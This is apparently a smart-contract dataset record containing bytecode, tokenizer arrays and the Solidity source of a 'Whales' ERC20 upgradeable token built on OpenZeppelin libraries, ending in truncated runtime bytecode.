05180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820b1a1166ae23fabc5ec619aa69caf02f9b80a460fe8b996e71e25502d68d93bfc0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2475, 2063, 2692, 2629, 2094, 26187, 2549, 2278, 28756, 9818, 2497, 16048, 2549, 4402, 2575, 2487, 2094, 2549, 2497, 22394, 2683, 12521, 23833, 8586, 12376, 2629, 2497, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 5060, 4604, 1036, 1035, 3643, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,076
0x962e1debe61451e2bf47b3249154c09bf9eec2b0
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; contract Whales is Initializable, ERC20Upgradeable, OwnableUpgradeable { uint128 public maxSupply; mapping(address => bool) public controllers; // the addresses that can invoke mint and burn. function initialize() external initializer { __ERC20_init("Whales", "$WHALES"); __Ownable_init(); maxSupply = 200000000 ether; } function mint(address to, uint256 amount) external { require(controllers[msg.sender], "Only controller can mint"); uint256 supply = totalSupply(); require(supply + amount <= maxSupply, "max supply eached"); _mint(to, amount); } function burn(address from, uint256 amount) external { require(controllers[msg.sender], "Only controllers can burn"); _burn(from, amount); } function addController(address controller) external onlyOwner { controllers[controller] = true; } function removeController(address controller) external onlyOwner { controllers[controller] = false; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101775760003560e01c80638da5cb5b116100d8578063a9059cbb1161008c578063dd62ed3e11610066578063dd62ed3e1461030b578063f2fde38b14610344578063f6a74ed71461035757610177565b8063a9059cbb14610298578063d5abeb01146102ab578063da8c229e146102e857610177565b80639dc29fac116100bd5780639dc29fac1461025f578063a457c2d714610272578063a7fc7a071461028557610177565b80638da5cb5b1461023c57806395d89b411461025757610177565b8063395093511161012f57806370a082311161011457806370a0823114610219578063715018a61461022c5780638129fc1c1461023457610177565b806339509351146101f157806340c10f191461020457610177565b806318160ddd1161016057806318160ddd146101bd57806323b872dd146101cf578063313ce567146101e257610177565b806306fdde031461017c578063095ea7b31461019a575b600080fd5b61018461036a565b604051610191919061149d565b60405180910390f35b6101ad6101a8366004611474565b6103fc565b6040519015158152602001610191565b6035545b604051908152602001610191565b6101ad6101dd366004611439565b610414565b60405160128152602001610191565b6101ad6101ff366004611474565b610438565b610217610212366004611474565b610477565b005b6101c16102273660046113e6565b610565565b610217610584565b6102176105ea565b6065546040516001600160a01b039091168152602001610191565b61018461076c565b61021761026d366004611474565b61077b565b6101ad610280366004611474565b6107e8565b6102176102933660046113e6565b610892565b6101ad6102a6366004611474565b610910565b6097546102c7906fffffffffffffffffffffffffffffffff1681565b6040516fffffffffffffffffffffffffffffffff9091168152602001610191565b6101ad6102f63660046113e6565b60986020526000908152604090205460ff1681565b6101c1610319366004611407565b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b6102176103523660046113e6565b61091e565b6102176103653660046113e6565b6109fd565b6060603680546103799061151f565b80601f01602080910402602001604051908101604052809291908181526020018280546103a59061151f565b80156103f25780601f106103c7576101008083540402835291602001916103f2565b820191906000526020600020905b8154815290600101906020018083116103d557829003601f168201915b5050505050905090565b60003361040a818585610a78565b5060019392505050565b600033610422858285610bd0565b61042d858585610c62565b506001949350505050565b3360008181526034602090815260408083206001600160a01b038716845290915281205490919061040a90829086906104729087906114f0565b610a78565b3360009081526098602052604090205460ff166104db5760405162461bcd60e51b815260206004820152601860248201527f4f6e6c7920636f6e74726f6c6c65722063616e206d696e74000000000000000060448201526064015b60405180910390fd5b60006104e660355490565b6097549091506fffffffffffffffffffffffffffffffff1661050883836114f0565b11156105565760405162461bcd60e51b815260206004820152601160248201527f6d617820737570706c792065616368656400000000000000000000000000000060448201526064016104d2565b6105608383610e79565b505050565b6001600160a01b0381166000908152603360205260409020545b919050565b6065546001600160a01b031633146105de5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d2565b6105e86000610f59565b565b600054610100900460ff166106055760005460ff1615610609565b303b155b61067b5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016104d2565b600054610100900460ff161580156106a6576000805460ff1961ff0019909116610100171660011790555b61071a6040518060400160405280600681526020017f5768616c657300000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f245748414c455300000000000000000000000000000000000000000000000000815250610fc3565b610722611038565b609780547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166aa56fa5b99019a5c80000001790558015610769576000805461ff00191690555b50565b6060603780546103799061151f565b3360009081526098602052604090205460ff166107da5760405162461bcd60e51b815260206004820152601960248201527f4f6e6c7920636f6e74726f6c6c6572732063616e206275726e0000000000000060448201526064016104d2565b6107e482826110ab565b5050565b3360008181526034602090815260408083206001600160a01b0387168452909152812054909190838110156108855760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084016104d2565b61042d8286868403610a78565b6065546001600160a01b031633146108ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d2565b6001600160a01b03166000908152609860205260409020805460ff19166001179055565b60003361040a818585610c62565b6065546001600160a01b031633146109785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d2565b6001600160a01b0381166109f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104d2565b61076981610f59565b6065546001600160a01b03163314610a575760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d2565b6001600160a01b03166000908152609860205260409020805460ff19169055565b6001600160a01b038316610af35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104d2565b6001600160a01b038216610b6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104d2565b6001600160a01b0383811660008181526034602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381166000908152603460209081526040808320938616835292905220546000198114610c5c5781811015610c4f5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104d2565b610c5c8484848403610a78565b50505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104d2565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104d2565b6001600160a01b03831660009081526033602052604090205481811015610de95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104d2565b6001600160a01b03808516600090815260336020526040808220858503905591851681529081208054849290610e209084906114f0565b92505081905550826001600160a01b0316846001600160